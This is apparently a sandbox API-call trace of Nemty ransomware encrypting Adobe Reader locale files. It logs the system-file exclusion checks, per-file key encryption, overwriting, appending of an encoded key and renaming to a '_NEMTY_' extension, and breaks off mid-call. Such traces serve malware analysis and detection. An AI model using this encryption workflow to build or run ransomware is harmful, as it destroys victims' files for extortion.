[0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="boot.ini") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="ntuser.dat") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="desktop.ini") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="CONFIG.SYS") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="RECYCLER") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="bootmgr") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="programdata") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="appdata") returned 1 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SVE", lpUsedDefaultChar=0x0) returned 7 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SVE", lpUsedDefaultChar=0x0) returned 7 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SVE", lpUsedDefaultChar=0x0) returned 7 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SVE", lpUsedDefaultChar=0x0) returned 7 [0184.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.481] Sleep (dwMilliseconds=0x5) [0184.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x219b8970, dwHighDateTime=0x1d561e8)) [0184.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x219b8970, dwHighDateTime=0x1d561e8)) [0184.483] GetLastError () returned 0x0 [0184.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.484] GetLastError () returned 0x0 [0184.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.484] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.484] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.484] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.484] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="tM9BEkVbfYvM1Zw1QXYyu087jSef5C/NwVLPe8GLJXzK6AqwL6cUQA9c8+E8+LYE\r\nsWg3pNdA+mBV5G29vaCqWd8VzWSQETq5R5EHK8M5k5xMjrUX1aCXEAhfO9sQwenv\r\n3M8hyYT12nzVe5f+tbt5yKEspbLh34kTHODYc+F+bsDhWJUigyBr6jzMXVsXW2uf\r\n3lzNZa1u8MKqWaaKIZMH1uzuc8aAqslToHtCR9jRad0mvAstGh+SUylePX8zDcNv\r\nKKTv8Nf2Gr2TRiaMyRUoG5uqMuBoYlbOeGW7eHOl8uuwoZc31qcV0p7Da0EpsFb6\r\nDNdmWsvbRPitHB5UKMgVsA==\r\n", pcchString=0x653e5dc) returned 1 [0184.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.484] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\dva.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.484] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0184.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0184.485] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.485] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0184.487] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.488] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0184.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.488] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0184.488] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.488] CloseHandle (hObject=0x2e8) returned 1 [0184.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.488] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\dva.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\dva.sve._nemty_kgobjgd_")) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.489] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.SVE", cAlternateFileName="")) returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2=".") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="..") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="...") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="windows") returned -1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="rsa") returned -1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="NTDETECT.COM") returned -1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="ntldr") returned -1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="MSDOS.SYS") returned -1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="IO.SYS") returned -1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="boot.ini") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="boot.ini") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="ntuser.dat") returned -1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="desktop.ini") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="CONFIG.SYS") returned 1 [0184.489] lstrcmpiW (lpString1="eBook.SVE", lpString2="RECYCLER") returned -1 [0184.490] lstrcmpiW (lpString1="eBook.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.490] lstrcmpiW (lpString1="eBook.SVE", lpString2="bootmgr") returned 1 [0184.490] lstrcmpiW (lpString1="eBook.SVE", lpString2="programdata") returned -1 [0184.490] lstrcmpiW (lpString1="eBook.SVE", lpString2="appdata") returned 1 [0184.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.490] Sleep (dwMilliseconds=0x5) [0184.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x219dead0, dwHighDateTime=0x1d561e8)) [0184.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x219dead0, dwHighDateTime=0x1d561e8)) [0184.499] GetLastError () returned 0x0 [0184.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.499] GetLastError () returned 0x0 [0184.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.499] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.499] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.499] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.500] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="hVFb66zd27DpBpLEouIItjlx/5qAAmSLuKG6YKTLWPsvyVmMHg6Q9ykGySqnHf7j\r\nCvQqVeFvUloag+8h3x8/nKj8Vm5Q4oHIj8xh1z/KYn9U2Kpl4Fj0kKbg7BXxv+ob\r\nYQugsPz7avhixRJd4Nn1yHx6fNBBtcEJIGKyJX2JDOjcx7yVa4hv+uZuzLoXW5E5\r\nn5PttDaTpa+o/8uDK3AIwAOM6aRGIaYaZK1+vfpcPwKx2yY8M/oKiYeP5TEeCWuQ\r\nFfaZyq++ZqNgxmNxhrIc4N9lvm/RRCBCSo8pqhpcuOe91PIG1jlJJkEvUZi4BS/a\r\nub+coF7qivFDcwZ/BIiVOA==\r\n", pcchString=0x653e5dc) returned 1 [0184.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ebook.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.500] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0184.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0184.500] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.500] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0184.502] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.502] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0184.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.502] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0184.502] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.502] CloseHandle (hObject=0x2e8) returned 1 [0184.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.503] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ebook.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ebook.sve._nemty_kgobjgd_")) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.504] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.SVE", cAlternateFileName="")) returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2=".") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="..") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="...") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="windows") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="rsa") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="NTDETECT.COM") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="ntldr") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="MSDOS.SYS") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="IO.SYS") returned -1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="boot.ini") returned 1 [0184.504] lstrcmpiW (lpString1="EScript.SVE", lpString2="boot.ini") returned 1 [0184.504] lstrcmpiW 